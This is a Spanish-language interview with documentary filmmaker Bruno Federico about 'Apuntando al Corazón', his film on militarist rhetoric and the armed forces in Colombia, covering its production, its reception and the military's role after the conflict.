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Bruno Federico Apuntando al Corazón

Entrevista con Bruno Federico, director del documental Apuntando al Corazón codirigido con Claudia Gordillo.

Un placer tenerte en Interference Channel Bruno. ¿Cómo nace o cómo se formó tu relación con Colombia?

Bruno Federico: Mi relación con Colombia nace muchos años atrás, cuando participé en una caravana de solidaridad con las comunidades campesinas y mineras del sur del Bolívar. En el 2004 como estudiante de sociología decidí hacer mi tesis de grado acerca del proyecto de vida individual y colectivo de las comunidades mineras. Así que otra vez crucé el charco para llegar al Sur del Bolívar, con los mineros y su organización (Fedeagromisbol) que me acogieron como un hijo. Otra vez en Europa y de vuelta a Colombia en el 2006, para trabajar con ONGS defensoras de derechos humanos y sucesivamente en el 2008 llegué al mundo de la producción audiovisual. De ahí en adelante he seguido contando historias, historias de lucha y de dignidad, frente a la opresión, el militarismo y el despojo. Y esto es lo que sigo haciendo, contar este mundo escondido, ignorado y pisado de aquellos quienes día tras día luchan para defender los recursos naturales y la dignidad humana. Más allá de las luchas sindicales, políticas y campesinas hay otro espacio de contienda, que es aquello de la construcción de imaginarios y cosmovisiones. Muchas veces es una pelea que se relega a un segundo plano, ignorando que nuestras acciones y posiciones son dictadas por imaginarios simbólicos construidos en años de educación televisiva, información e industria cultural hegemónicos.

¿Cuéntanos un poco del proceso del documental “Apuntando al corazón” y la codirección con Claudia Gordillo?

Bruno Federico: Claudia Gordillo es la de la idea inicial de “apuntando al corazón”, ella llegó un día con la propuesta de hacer un video corto (de 10 minutos) que representase la retórica guerrerista que invadió al país durante el gobierno de Álvaro Uribe Vélez. Empezamos a trabajar y nos enganchamos al tema, decidimos hacerlo juntos y ampliar las perspectivas iniciales. Fue una conversación muy interesante porque nos obligó a una confrontación singular entre una teórica de la comunicación (Claudia) quien tenia poca practica con el hacer concreto de la comunicación y un realizador que muy pocas veces (nunca?) había reflexionado de manera académica sobre el contenido de sus trabajos. Al fin la síntesis nos gustó a ambos. Un encuentro necesario entre dos mundos de espalda el uno al otro. Hay que pensar el periodismo y la comunicación, sus contenidos y los imaginarios y las visiones del mundo que ellos promueven. Al mismo tiempo hay que comunicar estas reflexiones, bajando del resguardo erudito y autorreferencial en que vive la academia. Es una apuesta interesante que valdría la pena repetir. Así fue que empezó nuestro camino, con el valiente aporte de Víctor Segura, quien durante la realización fue alejado del grupo por la universidad que financiaba la investigación, y de Camilo Medina, un estudiante que nos acompañó eficazmente por toda la duración tanto de la investigación como de la realización del documental.

¿Qué dificultades ha tenido el documental, como lo recibe el público?

Bruno Federico: Ha sido algo difícil abordar un tema tan complejo como el del conflicto, en un país donde todavía hay guerra. Es difícil hacerlo sin tropezar con la retórica o la propaganda, dejando una cantidad de informaciones tales que el mismo publico pudiese construir su interpretación, sin imponerle desde los realizadores una visión preconcebida del problema. Decidimos hacerlo con un toque de ironía, que en ningún momento manifiesta insensibilidad, sino hace parte de la nuestra misma critica a cuanto escuchábamos. La respuesta del público ha sido bastante diferente según la educación y el pensamiento de cada uno. Los militares me llamaron preguntándome si acaso yo fuese de las FARC (lo cual me pareció bastante divertido), algunos se indignaron por las dudas que ponía sobre los héroes de la patria y sus intereses otros por el develar la mentira del concepto de patria. Desde la izquierda también hubo críticas: algunos dijeron que dimos demasiado tiempo a la versión de los militares y excluimos casi completamente la de las víctimas. Ahí les explicamos que los protagonistas del documental eran precisamente las fuerzas armadas, no teníamos ni la intención ni la pretensión de representar las víctimas de la población civil y de los movimientos sociales. Al fin, cuando tu haces un documental siempre pasa que muchos te dicen que faltó contar esto o esto otro, lo cual es normal porque cada uno cuenta una historia de una manera suya. Mucha gente ha apreciado el trabajo por enfrentar una temática muy poco debatida, urgente y compleja especialmente en el marco del debate sobre la paz, el documental está rodando por internet ya que decidimos (frente a la imposibilidad de su emisión mainstream) de publicarlo en youtube.

¿Pudimos observar la versión en inglés, cómo piensas que el público internacional interpretara el documental y lo piensas presentar en otros países?

Bruno Federico: La gente a fuera de Colombia ha visto en el documental una lectura diferente del conflicto colombiano, una mirada original a una guerra contada en mil maneras durante las últimas décadas. Las guerras se combaten por muchas razones, siempre ligadas al control de un territorio y de sus recursos naturales, para la implementación de un determinado modelo económico y político. Luego estas guerras se disfrazan de conflictos étnicos, religiosos, de lucha contra al terrorismo o de operaciones de peace keeping. Los disfraces ya están bastante logrados, aunque todavía la gente les cree. Hay otra razón que solo recién empieza a ser nombrada, que es la de la guerra como recurso en sí mismo. Por medio de la guerra se distraen los ciudadanos de la incapacidad o corrupción de sus gobernantes, se justifica la sustracción de derechos civiles, se junta al pueblo alrededor de una idea de patria y, más importante de todo se fabrica plata. Cada bala disparada es un costo que va a enriquecer la industria militar, los contratistas, los intermediarios, los mismos oficiales de las fuerzas armadas. Y la plata es un fuerte motor de las guerras. Así mismo, con el mismo metro se pueden interpretar las muchísimas guerras que se combaten en el mundo día tras día. Nuestros sentimientos nacionalistas, no solo en Colombia sino que en Europa, Estados Unidos, mundo Árabe, Rusia crecen al estallar una guerra, ignorando el negocio que está detrás y juntando el país en una unidad patriótica que junta corruptos, mafiosos, explotados, víctimas y excluidos frente al enemigo externo. Un poco como el fútbol…

¿A pesar de ser un documental estrictamente sobre Colombia los temas que toca son de discusión global. En un futuro post conflicto Colombiano cual crees que va a ser el rol de las fuerzas armadas?

Uno de los obstáculos más grandes para la paz en Colombia, después por supuesto del modelo económico, es el destino de la fuerza armada. Un ejército desproporcionado, una inversión militar excesiva, un poder que pone en discusión la existencia misma de la democracia no va a desaparecer así sin más. Hay los intereses particulares de muchos oficiales vinculados a la contratación militar, quienes hemos visto tienen una serie de ganancias extras con el negocio del armamento. Están también los intereses económicos ligados al control territorial que los militares ejercen a través de la fuerza armada. Otro obstáculo es la apuesta que el ministerio de defensa y las empresas contratistas han hecho sobre el desarrollo de una industria militar nacional, que trae muchas ventajas de la guerra, desde la economía de escala a la inversión constante por parte del Estado, hasta la posibilidad de probar los inventos directamente en el campo de combate (como dice el ministro de defensa Pinzón). Supongo también que haya un interés estadounidense de mantener una fuerza leal y combativa lista para involucrarse en eventuales conflictos con los vecinos. Muchos y demasiados intereses para redimensionar, como sería lógico y razonable, las fuerzas armadas en un escenario de post conflicto. Y para mantener una fuerza armada tan grande se necesita una guerra. En ausencia de una real se puede inventar otra: una hipótesis bastante perturbadora.♦

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